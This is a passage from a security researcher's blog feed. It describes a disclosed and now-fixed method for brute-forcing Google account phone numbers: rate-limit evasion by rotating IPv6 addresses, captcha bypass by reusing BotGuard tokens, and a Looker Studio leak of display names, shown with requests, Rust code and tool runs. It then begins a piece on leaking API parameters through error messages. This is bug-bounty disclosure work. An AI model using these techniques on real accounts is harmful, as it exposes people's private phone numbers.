<div class="embedded-content" data-embed-src="/articles/embeds/leaking-google-phones/username_recovery.html"></div><p>This surprised me, as I used to think these account recovery forms <a href="https://news.ycombinator.com/item?id=18349887" target="_blank" rel="noopener noreferrer">required javascript since 2018</a> as they relied on botguard solutions generated from heavily obfuscated proof-of-work javascript code for anti-abuse.</p>
<h3 id="a-deeper-look-into-the-endpoints"><a class="anchor" href="#a-deeper-look-into-the-endpoints" aria-hidden="true">#</a>A deeper look into the endpoints</h3><p>The username recovery form seemed to allow you to check if a recovery email or phone number was associated with a specific display name. This required 2 HTTP requests:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/signin/usernamerecovery</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>accounts.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>__Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>81
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded
<span class="hljs-attribute">Accept</span><span class="hljs-punctuation">: </span>text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

<span class="language-apache"><span class="hljs-attribute">Email</span>=+<span class="hljs-number">18085921029</span>&amp;hl=en&amp;gxf=AFoagUVs61GL09C_ItVbtSsQB4utNqVgKg%<span class="hljs-number">3</span>A1747557783359</span></code></pre><blockquote>
<p>The cookie and gxf values are from the initial page HTML</p>
</blockquote>
<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">302</span> Found
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/html; charset=UTF-8
<span class="hljs-attribute">Location</span><span class="hljs-punctuation">: </span>https://accounts.google.com/signin/usernamerecovery/name?ess=..&lt;SNIP&gt;..&amp;hl=en</code></pre><p>This gave us a <code>ess</code> value tied to that phone number we can use for the next HTTP request.</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/signin/usernamerecovery/lookup</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>accounts.google.com
<span class="hljs-attribute">Cookie</span><span class="hljs-punctuation">: </span>__Host-GAPS=1:a4zTWE1Z3InZb82rIfoPe5aRzQNnkg:0D49ErWahX1nGW0o
<span class="hljs-attribute">Origin</span><span class="hljs-punctuation">: </span>https://accounts.google.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/x-www-form-urlencoded
<span class="hljs-attribute">Priority</span><span class="hljs-punctuation">: </span>u=0, i

<span class="language-dts">challengeId=<span class="hljs-number">0</span><span class="hljs-variable">&amp;</span>challengeT<span class="hljs-attr">ype</span><span class="hljs-operator">=</span><span class="hljs-number">28</span><span class="hljs-variable">&amp;ess</span>=<span class="hljs-params">&lt;snip&gt;</span><span class="hljs-variable">&amp;bgresponse</span>=js_disabled<span class="hljs-variable">&amp;</span>GivenN<span class="hljs-attr">ame</span><span class="hljs-operator">=</span>john<span class="hljs-variable">&amp;</span>FamilyN<span class="hljs-attr">ame</span><span class="hljs-operator">=</span>smith</span></code></pre><p>This request allows us to check if a Google account exists with that phone number as well as the display name <code>&quot;John Smith&quot;</code>. </p>
<p><strong>Response</strong> (no account found)</p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">302</span> Found
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/html; charset=UTF-8
<span class="hljs-attribute">Location</span><span class="hljs-punctuation">: </span>https://accounts.google.com/signin/usernamerecovery/noaccountsfound?ess=...</code></pre><p><strong>Response</strong> (account found)</p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">302</span> Found
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>text/html; charset=UTF-8
<span class="hljs-attribute">Location</span><span class="hljs-punctuation">: </span>https://accounts.google.com/signin/usernamerecovery/challenge?ess=...</code></pre><h3 id="can-we-even-brute-this"><a class="anchor" href="#can-we-even-brute-this" aria-hidden="true">#</a>Can we even brute this?</h3><p>My first attempts were futile. It seemed to ratelimit your IP address after a few requests and present a captcha.</p>
<div class="embedded-content" data-embed-src="/articles/embeds/leaking-google-phones/captcha.html" data-embed-height="500"></div><p>Perhaps we could use proxies to get around this? If we take Netherlands as an example, the <a href="https://g.co/AccountRecoveryRequest" target="_blank" rel="noopener noreferrer">forgot password flow</a> provides us with the phone hint <code>•• ••••••03</code></p>
<p>For Netherlands mobile numbers, they always start with <code>06</code>, meaning there&#39;s 6 digits we&#39;d have to brute. 10^6 = 1,000,000 numbers. That might be doable with proxies, but there had to be a better way.</p>
<h3 id="what-about-ipv6"><a class="anchor" href="#what-about-ipv6" aria-hidden="true">#</a>What about IPv6?</h3><p>Most service providers like <a href="https://vultr.com" target="_blank" rel="noopener noreferrer">Vultr</a> provide /64 ip ranges, which provide us with 18,446,744,073,709,551,616 addresses. In theory, we could use IPv6 and rotate the IP address we use for every request, bypassing this ratelimit.</p>
<p>The HTTP server also seemed to support IPv6:</p>
<pre><code class="hljs language-bash">~ $ curl -6 https://accounts.google.com
&lt;HTML&gt;
&lt;HEAD&gt;
&lt;TITLE&gt;Moved Temporarily&lt;/TITLE&gt;
&lt;/HEAD&gt;
&lt;BODY BGCOLOR=<span class="hljs-string">&quot;#FFFFFF&quot;</span> TEXT=<span class="hljs-string">&quot;#000000&quot;</span>&gt;
&lt;!-- GSE Default Error --&gt;
&lt;H1&gt;Moved Temporarily&lt;/H1&gt;
The document has moved &lt;A HREF=<span class="hljs-string">&quot;https://accounts.google.com/ServiceLogin?passive=1209600&amp;amp;continue=https%3A%2F%2Faccounts.google.com%2F&amp;amp;followup=https%3A%2F%2Faccounts.google.com%2F&quot;</span>&gt;here&lt;/A&gt;.
&lt;/BODY&gt;
&lt;/HTML&gt;</code></pre><p>To test this out, I routed my IPv6 range through my network interface and I started work on <a href="https://github.com/ddd/gpb" target="_blank" rel="noopener noreferrer">gpb</a>, using <a href="https://docs.rs/reqwest/latest/reqwest/struct.ClientBuilder.html#method.local_address" target="_blank" rel="noopener noreferrer">reqwest's local_address method</a> on its <code>ClientBuilder</code> to set my IP address to a random IP on my subnet:</p>
<pre><code class="hljs language-rust"><span class="hljs-keyword">pub</span> <span class="hljs-keyword">fn</span> <span class="hljs-title function_">get_rand_ipv6</span>(subnet: &amp;<span class="hljs-type">str</span>) <span class="hljs-punctuation">-&gt;</span> IpAddr {
    <span class="hljs-keyword">let</span> (ipv6, prefix_len) = <span class="hljs-keyword">match</span> subnet.parse::&lt;Ipv6Cidr&gt;() {
        <span class="hljs-title function_ invoke__">Ok</span>(cidr) =&gt; {
            <span class="hljs-keyword">let</span> <span class="hljs-variable">ipv6</span> = cidr.<span class="hljs-title function_ invoke__">first_address</span>();
            <span class="hljs-keyword">let</span> <span class="hljs-variable">length</span> = cidr.<span class="hljs-title function_ invoke__">network_length</span>();
            (ipv6, length)
        }
        <span class="hljs-title function_ invoke__">Err</span>(_) =&gt; {
            <span class="hljs-built_in">panic!</span>(<span class="hljs-string">&quot;invalid IPv6 subnet&quot;</span>);
        }
    };

    <span class="hljs-keyword">let</span> <span class="hljs-variable">ipv6_u128</span>: <span class="hljs-type">u128</span> = <span class="hljs-type">u128</span>::<span class="hljs-title function_ invoke__">from</span>(ipv6);
    <span class="hljs-keyword">let</span> <span class="hljs-variable">rand</span>: <span class="hljs-type">u128</span> = <span class="hljs-title function_ invoke__">random</span>();

    <span class="hljs-keyword">let</span> <span class="hljs-variable">net_part</span> = (ipv6_u128 &gt;&gt; (<span class="hljs-number">128</span> - prefix_len)) &lt;&lt; (<span class="hljs-number">128</span> - prefix_len);
    <span class="hljs-keyword">let</span> <span class="hljs-variable">host_part</span> = (rand &lt;&lt; prefix_len) &gt;&gt; prefix_len;
    <span class="hljs-keyword">let</span> <span class="hljs-variable">result</span> = net_part | host_part;

    IpAddr::<span class="hljs-title function_ invoke__">V6</span>(Ipv6Addr::<span class="hljs-title function_ invoke__">from</span>(result))
}

<span class="hljs-keyword">pub</span> <span class="hljs-keyword">fn</span> <span class="hljs-title function_">create_client</span>(subnet: &amp;<span class="hljs-type">str</span>, user_agent: &amp;<span class="hljs-type">str</span>) <span class="hljs-punctuation">-&gt;</span> Client {
    <span class="hljs-keyword">let</span> <span class="hljs-variable">ip</span> = <span class="hljs-title function_ invoke__">get_rand_ipv6</span>(subnet);

    Client::<span class="hljs-title function_ invoke__">builder</span>()
        .<span class="hljs-title function_ invoke__">redirect</span>(redirect::Policy::<span class="hljs-title function_ invoke__">none</span>())
        .<span class="hljs-title function_ invoke__">danger_accept_invalid_certs</span>(<span class="hljs-literal">true</span>)
        .<span class="hljs-title function_ invoke__">user_agent</span>(user_agent)
        .<span class="hljs-title function_ invoke__">local_address</span>(<span class="hljs-title function_ invoke__">Some</span>(ip))
        .<span class="hljs-title function_ invoke__">build</span>().<span class="hljs-title function_ invoke__">unwrap</span>()
}</code></pre><p>Eventually, I had a PoC running, but I was still getting the captcha? It seemed that for whatever reason, datacenter IP addresses using the JS disabled form were always presented with a captcha, damn!</p>
<h3 id="using-the-botguard-token-from-the-js-form"><a class="anchor" href="#using-the-botguard-token-from-the-js-form" aria-hidden="true">#</a>Using the BotGuard token from the JS form</h3><p>I was looking through the 2 requests again, seeing if there was anything I could find to get around this, and <code>bgresponse=js_disabled</code> caught my eye. I remembered that on the <a href="https://accounts.google.com/signin/v2/usernamerecovery" target="_blank" rel="noopener noreferrer">JS-enabled account recovery form</a>, the botguard token was passed via the <strong>bgRequest</strong> parameter.</p>
<p><img src="/assets/leaking-google-phones/bgtoken.png" alt="" loading="lazy" /></p>
<p>What if I replace <code>js_disabled</code> with the botguard token from the JS-enabled form request? I tested it out, and <strong>it worked??</strong>. The botguard token seemed to have no request limit on the No-JS form, but who are all these random people?</p>
<pre><code class="hljs language-bash">$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 -f Henry -l Chancellor -w 3000
Starting with 3000 threads...
HIT: +31612345603
HIT: +31623456703
HIT: +31634567803
HIT: +31645678903
HIT: +31656789003
HIT: +31658854003
HIT: +31667890103
HIT: +31678901203
HIT: +31689012303
HIT: +31690123403
HIT: +31701234503
HIT: +31712345603
HIT: +31723456703</code></pre><p>It took me a bit to realize this, but those were all people who had the Google account name &quot;Henry&quot; with no last name set, as well as a phone with the last 2 digits <strong>03</strong>. For those numbers, it would return <code>usernamerecovery/challenge</code> for the first name Henry and <strong>any last name</strong>.</p>
<p>I added some extra code to validate a possible hit with the first name, and a random last name like <code>0fasfk1AFko1wf</code>. If it still claimed it was a hit, it would be filtered out, and there we go:</p>
<pre><code class="hljs language-bash">$ ./target/release/gpb --prefix +316 --suffix 03 --digits 6 --firstname Henry --lastname Chancellor --workers 3000
Starting with 3000 threads...
HIT: +31658854003
Finished.</code></pre><blockquote>
<p>In practise, it&#39;s unlikely to get more than one hit as it&#39;s uncommon for another Google user to have the same full display name, last 2 digits as well as country code. </p>
</blockquote>
<h3 id="a-few-things-to-sort-out"><a class="anchor" href="#a-few-things-to-sort-out" aria-hidden="true">#</a>A few things to sort out</h3><p>We have a basic PoC working, but there&#39;s still some issues we have to address.</p>
<ul>
<li><p><a href="#how-do-we-know-which-country-code-a-victim-39-s-phone-is-">How do we know which country code a victim's phone is?</a></p>
</li>
<li><p><a href="#how-do-we-get-the-victim-39-s-google-account-display-name-">How do we get the victim's Google account display name?</a></p>
</li>
</ul>
<h4 id="how-do-we-know-which-country-code-a-victim-39-s-phone-is"><a class="anchor" href="#how-do-we-know-which-country-code-a-victim-39-s-phone-is" aria-hidden="true">#</a>How do we know which country code a victim&#39;s phone is?</h4><p>Interestingly enough, it&#39;s possible for us to figure out the country code based off of the phone mask that the <a href="https://g.co/AccountRecoveryRequest" target="_blank" rel="noopener noreferrer">forgot password flow</a> provides us. Google actually just uses <a href="https://github.com/google/libphonenumber" target="_blank" rel="noopener noreferrer">libphonenumbers</a>&#39;s &quot;national format&quot; for each number.</p>
<p>Here&#39;s some examples:</p>
<pre><code class="hljs language-json"><span class="hljs-punctuation">{</span>
    ...
    <span class="hljs-attr">&quot;• (•••) •••-••-••&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-string">&quot;ru&quot;</span>
    <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;•• ••••••••&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-string">&quot;nl&quot;</span>
    <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;••••• ••••••&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-string">&quot;gb&quot;</span>
    <span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
    <span class="hljs-attr">&quot;(•••) •••-••••&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span>
        <span class="hljs-string">&quot;us&quot;</span>
    <span class="hljs-punctuation">]</span>
<span class="hljs-punctuation">}</span></code></pre><p>I wrote a script that collected the masked national format for all countries as <a href="https://github.com/ddd/gpb/blob/main/data/mask.json" target="_blank" rel="noopener noreferrer">mask.json</a> </p>
<h4 id="how-do-we-get-the-victim-39-s-google-account-display-name"><a class="anchor" href="#how-do-we-get-the-victim-39-s-google-account-display-name" aria-hidden="true">#</a>How do we get the victim&#39;s Google account display name?</h4><p>Initially in 2023, Google changed their policy to only show names if there was direct interaction from the target to you (emails, shared docs, etc.), so they slowly removed names from endpoints. By April 2024, they updated their Internal People API service to completely stop returning display names for unauthenticated accounts, removing display names almost everywhere. </p>
<p>It was going to be tricky to find a display name leak after all that, but eventually after looking through random Google products, I found out that I could create a <a href="https://lookerstudio.google.com" target="_blank" rel="noopener noreferrer">Looker Studio</a> document, transfer ownership of it to the victim, and the victim&#39;s display name would leak on the home page, <strong>with 0 interaction required from the victim</strong>:</p>
<div class="embedded-content" data-embed-src="/articles/embeds/leaking-google-phones/looker_studio.html" data-embed-height="150"></div><h4 id="optimizing-it-further"><a class="anchor" href="#optimizing-it-further" aria-hidden="true">#</a>Optimizing it further</h4><p>By using <a href="https://github.com/google/libphonenumber" target="_blank" rel="noopener noreferrer">libphonenumbers</a>&#39;s number validation, I was able to generate a <a href="https://github.com/ddd/gpb/blob/main/data/format.json" target="_blank" rel="noopener noreferrer">format.json</a> with mobile phone prefix, known area codes and digits count for every country.</p>
<pre><code class="hljs language-json"> ...
  <span class="hljs-attr">&quot;nl&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
        <span class="hljs-attr">&quot;code&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;31&quot;</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;area_codes&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-string">&quot;61&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;62&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;63&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;64&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;65&quot;</span><span class="hljs-punctuation">,</span> <span class="hljs-string">&quot;68&quot;</span><span class="hljs-punctuation">]</span><span class="hljs-punctuation">,</span>
        <span class="hljs-attr">&quot;digits&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">[</span><span class="hljs-number">7</span><span class="hljs-punctuation">]</span>
    <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
 ...</code></pre><p>I also implemented <a href="https://github.com/ddd/gpb/blob/main/src/workers/workers.rs#L63" target="_blank" rel="noopener noreferrer">real-time libphonenumber validation</a> to reduce queries to Google&#39;s API for invalid numbers. For the botguard token, I wrote a <a href="https://github.com/ddd/gpb/tree/main/tools/bg_gen" target="_blank" rel="noopener noreferrer">Go script</a> using <a href="https://github.com/chromedp/chromedp" target="_blank" rel="noopener noreferrer">chromedp</a> that lets you generate BotGuard tokens with just a simple API call:</p>
<pre><code class="hljs language-bash">$ curl http://localhost:7912/api/generate_bgtoken
{
  <span class="hljs-string">&quot;bgToken&quot;</span>: <span class="hljs-string">&quot;&lt;generated_botguard_token&gt;&quot;</span>
}</code></pre><h3 id="putting-it-all-together"><a class="anchor" href="#putting-it-all-together" aria-hidden="true">#</a>Putting it all together</h3><p>We basically have the full attack chain, we just have to put it together.</p>
<ul>
<li>Leak the Google account display name via Looker Studio</li>
<li>Go through <a href="https://g.co/AccountRecoveryRequest" target="_blank" rel="noopener noreferrer">forgot password flow</a> for that email and get the masked phone</li>
<li>Run the <code>gpb</code> program with the display name and masked phone to bruteforce the phone number</li>
</ul>
<iframe src="https://www.youtube.com/embed/aM3ipLyz4sw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe><h3 id="time-required-to-brute-the-number"><a class="anchor" href="#time-required-to-brute-the-number" aria-hidden="true">#</a>Time required to brute the number</h3><p>Using a $0.30/hour server with consumer-grade specs (16 vcpu), I&#39;m able to achieve ~40k checks per second.</p>
<p>With just the last 2 digits from the <a href="https://g.co/AccountRecoveryRequest" target="_blank" rel="noopener noreferrer">Forgot Password flow</a> phone hint:</p>
<table>
<thead>
<tr>
<th>Country code</th>
<th>Time required</th>
</tr>
</thead>
<tbody><tr>
<td>United States (+1)</td>
<td>20 mins</td>
</tr>
<tr>
<td>United Kingdom (+44)</td>
<td>4 mins</td>
</tr>
<tr>
<td>Netherlands (+31)</td>
<td>15 secs</td>
</tr>
<tr>
<td>Singapore (+65)</td>
<td>5 secs</td>
</tr>
</tbody></table>
<p>This time can also be significantly reduced through phone number hints from password reset flows in other services such as PayPal, which provide several more digits (ex. <code>+14•••••1779</code>)</p>
<h3 id="timeline"><a class="anchor" href="#timeline" aria-hidden="true">#</a>Timeline</h3><ul>
<li>2025-04-14 - Report sent to vendor</li>
<li>2025-04-15 - Vendor triaged report</li>
<li>2025-04-25 - 🎉 <strong>Nice catch!</strong></li>
<li>2025-05-15 - <strong>Panel awards $1,337 + swag.</strong> Rationale: Exploitation likelihood is low. (lol). Issue qualified as an abuse-related methodology with high impact. </li>
<li>2025-05-15 - Appeal reward reason: <a href="https://bughunters.google.com/about/rules/google-friends/5238081279623168/abuse-vulnerability-reward-program-rules#reward-amounts-for-abuse-related-vulnerabilities" target="_blank" rel="noopener noreferrer">As per the Abuse VRP table</a>, probability/exploitability is decided based on pre-requisites required for this attack and whether the victim can discover exploitation. For this attack, there are no pre-requisites and it cannot be discovered by the victim.</li>
<li>2025-05-22 - <strong>Panel awards an additional $3,663.</strong> Rationale: Thanks for your feedback on our initial reward. We took your points into consideration and discussed at some length. We&#39;re happy to share that we&#39;ve upgraded likelihood to medium and adjusted the reward to a total of $5,000 (plus the swag code we&#39;ve already sent). Thanks for the report, and we look forward to your next one.</li>
<li>2025-05-22 - Vendor confirms they have rolled out inflight mitigations while endpoint deprecation rolls out worldwide.</li>
<li>2025-05-22 - Coordinates disclosure with vendor for <em>2025-06-09</em></li>
<li>2025-06-06 - Vendor confirms that the No-JS username recovery form has been fully deprecated</li>
<li>2025-06-09 - Report disclosed</li>
</ul>
]]></content:encoded>
            <author>Arvin Shivram</author>
            <enclosure url="https://brutecat.com/assets/google-phone-disclosure.gif" length="0" type="image/gif"/>
        </item>
        <item>
            <title><![CDATA[Disclosing YouTube Creator Emails for a $20k Bounty]]></title>
            <link>https://brutecat.com/articles/youtube-creator-emails</link>
            <guid isPermaLink="false">youtube-creator-emails</guid>
            <pubDate>Thu, 13 Mar 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[From creator privacy to phishing paradise: How a secret parameter could have exposed the private email addresses of monetized YouTube channels]]></description>
            <content:encoded><![CDATA[<p>Some time back, while playing around with Google API requests, I found out it was possible to <a href="/articles/decoding-google#leaking-request-parameters-through-error-messages">leak all request parameters in any Google API endpoint.</a> This was possible because for whatever reason, sending a request with a wrong parameter type returned debug information about that parameter:</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/browse</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>164

<span class="language-json"><span class="hljs-punctuation">{</span>
  <span class="hljs-attr">&quot;context&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
    <span class="hljs-attr">&quot;client&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-punctuation">{</span>
      <span class="hljs-attr">&quot;clientName&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;WEB&quot;</span><span class="hljs-punctuation">,</span>
      <span class="hljs-attr">&quot;clientVersion&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-string">&quot;2.20241101.01.00&quot;</span><span class="hljs-punctuation">,</span>
    <span class="hljs-punctuation">}</span>
  <span class="hljs-punctuation">}</span><span class="hljs-punctuation">,</span>
  <span class="hljs-attr">&quot;browseId&quot;</span><span class="hljs-punctuation">:</span> <span class="hljs-number">1</span>
<span class="hljs-punctuation">}</span></span></code></pre><blockquote>
<p>The server actually expects <code>browseId</code> to be a string like <code>&quot;UCX6OQ3DkcsbYNE6H8uQQuVA&quot;</code></p>
</blockquote>
<p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">400</span> Bad Request
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>scaffolding on HTTPServer2

<span class="language-prolog">{
  <span class="hljs-string">&quot;error&quot;</span>: {
    <span class="hljs-string">&quot;code&quot;</span>: <span class="hljs-number">400</span>,
    <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;Invalid value at &#x27;browse_id&#x27; (TYPE_STRING), 1&quot;</span>,
    <span class="hljs-string">&quot;errors&quot;</span>: [
      {
        <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;Invalid value at &#x27;browse_id&#x27; (TYPE_STRING), 1&quot;</span>,
        <span class="hljs-string">&quot;reason&quot;</span>: <span class="hljs-string">&quot;invalid&quot;</span>
      }
    ],
    <span class="hljs-string">&quot;status&quot;</span>: <span class="hljs-string">&quot;INVALID_ARGUMENT&quot;</span>,
    ...
  }
}</span></code></pre><p>While YouTube&#39;s API normally uses JSON requests for web, it actually also supports another format called ProtoJson aka <code>application/json+protobuf</code></p>
<p>This allows us to specify parameter values in an array, rather than with the parameter name as we would in JSON. We can abuse this logic to provide the wrong parameter type for all parameters without even knowing its name, leaking information about the entire possible request payload.</p>
<p><strong>Request</strong></p>
<pre><code class="hljs language-http"><span class="hljs-keyword">POST</span> <span class="hljs-string">/youtubei/v1/browse</span> <span class="hljs-meta">HTTP/2</span>
<span class="hljs-attribute">Host</span><span class="hljs-punctuation">: </span>youtubei.googleapis.com
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json+protobuf
<span class="hljs-attribute">Content-Length</span><span class="hljs-punctuation">: </span>22

<span class="language-dns">[<span class="hljs-number">1,2,3,4</span>,<span class="hljs-number">5,6,7,8</span>,<span class="hljs-number">9,10,11,12</span>,<span class="hljs-number">13,14,15,16</span>,<span class="hljs-number">17,18,19,20</span>,<span class="hljs-number">21,22,23,24</span>,<span class="hljs-number">25,26,27,28</span>,<span class="hljs-number">29</span>,<span class="hljs-number">30</span>]</span></code></pre><p><strong>Response</strong></p>
<pre><code class="hljs language-http"><span class="hljs-meta">HTTP/2</span> <span class="hljs-number">400</span> Bad Request
<span class="hljs-attribute">Content-Type</span><span class="hljs-punctuation">: </span>application/json; charset=UTF-8
<span class="hljs-attribute">Server</span><span class="hljs-punctuation">: </span>scaffolding on HTTPServer2

<span class="language-nix">{
  <span class="hljs-string">&quot;error&quot;</span>: {
    <span class="hljs-string">&quot;code&quot;</span>: <span class="hljs-number">400</span>,
    <span class="hljs-string">&quot;message&quot;</span>: <span class="hljs-string">&quot;Invalid value at &#x27;context&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.InnerTubeContext), 1<span class="hljs-char escape_">\n</span>Invalid value at &#x27;browse_id&#x27; (TYPE_STRING), 2<span class="hljs-char escape_">\n</span>Invalid value at &#x27;params&#x27; (TYPE_STRING), 3<span class="hljs-char escape_">\n</span>Invalid value at &#x27;continuation&#x27; (TYPE_STRING), 7<span class="hljs-char escape_">\n</span>Invalid value at &#x27;force_ad_format&#x27; (TYPE_STRING), 8<span class="hljs-char escape_">\n</span>Invalid value at &#x27;player_request&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.PlayerRequest), 10<span class="hljs-char escape_">\n</span>Invalid value at &#x27;query&#x27; (TYPE_STRING), 11<span class="hljs-char escape_">\n</span>Invalid value at &#x27;has_external_ad_vars&#x27; (TYPE_BOOL), 12<span class="hljs-char escape_">\n</span>Invalid value at &#x27;force_ad_parameters&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ForceAdParameters), 13<span class="hljs-char escape_">\n</span>Invalid value at &#x27;previous_ad_information&#x27; (TYPE_STRING), 14<span class="hljs-char escape_">\n</span>Invalid value at &#x27;offline&#x27; (TYPE_BOOL), 15<span class="hljs-char escape_">\n</span>Invalid value at &#x27;unplugged_sort_filter_options&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedSortFilterOptions), 16<span class="hljs-char escape_">\n</span>Invalid value at &#x27;offline_mode_forced&#x27; (TYPE_BOOL), 17<span class="hljs-char escape_">\n</span>Invalid value at &#x27;form_data&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseFormData), 18<span class="hljs-char escape_">\n</span>Invalid value at &#x27;suggest_stats&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.SearchboxStats), 19<span class="hljs-char escape_">\n</span>Invalid value at &#x27;lite_client_request_data&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.LiteClientRequestData), 20<span class="hljs-char escape_">\n</span>Invalid value at &#x27;unplugged_browse_options&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.UnpluggedBrowseOptions), 22<span class="hljs-char escape_">\n</span>Invalid value at &#x27;consistency_token&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.ConsistencyToken), 23<span class="hljs-char escape_">\n</span>Invalid value at &#x27;intended_deeplink&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DeeplinkData), 24<span class="hljs-char escape_">\n</span>Invalid value at &#x27;android_extended_permissions&#x27; (TYPE_BOOL), 25<span class="hljs-char escape_">\n</span>Invalid value at &#x27;browse_notification_params&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.BrowseNotificationsParams), 26<span class="hljs-char escape_">\n</span>Invalid value at &#x27;recent_user_event_infos&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.RecentUserEventInfo), 28<span class="hljs-char escape_">\n</span>Invalid value at &#x27;detected_activity_info&#x27; (type.googleapis.com/youtube.api.pfiinnertube.YoutubeApiInnertube.DetectedActivityInfo), 30&quot;</span>,
    ...
}</span></code></pre><p>To automate this process, I wrote a tool called <a href="https://github.com/ddd/req2proto" target="_blank" rel="noopener noreferrer">req2proto</a>.</p>
<pre><code class="hljs language-bash">$ ./req2proto -X POST -u https://youtubei.googleapis.com/youtubei/v1/browse -p youtube.api.pfiinnertube.GetBrowseRequest -o output -d 3</code></pre><p>If we look at the output at <code>output/youtube/api/pfiinnertube/message.proto</code>, we can see the full request payload for this endpoint:</p>
<pre><code class="hljs language-proto">syntax = <span class="hljs-string">&quot;proto3&quot;</span>;

<span class="hljs-keyword">package</span> youtube.api.pfiinnertube;

<span class="hljs-keyword">message </span><span class="hljs-title class_">GetBrowseRequest</span> {
  InnerTubeContext context = <span class="hljs-number">1</span>;
  <span class="hljs-type">string</span> browse_id = <span class="hljs-number">2</span>;
  <span class="hljs-type">string</span> params = <span class="hljs-number">3</span>;
  <span class="hljs-type">string</span> continuation = <span class="hljs-number">7</span>;
  <span class="hljs-type">string</span> force_ad_format = <span class="hljs-number">8</span>;
  <span class="hljs-type">int32</span> debug_level = <span class="hljs-number">9</span>;
  PlayerRequest player_request = <span class="hljs-number">10</span>;
  <span class="hljs-type">string</span> query = <span class="hljs-number">11</span>;
  ...
}
...</code></pre><p>Equipped with this, I started looking around to find any API endpoints with secret parameters that might allow us to leak debug information.</p>
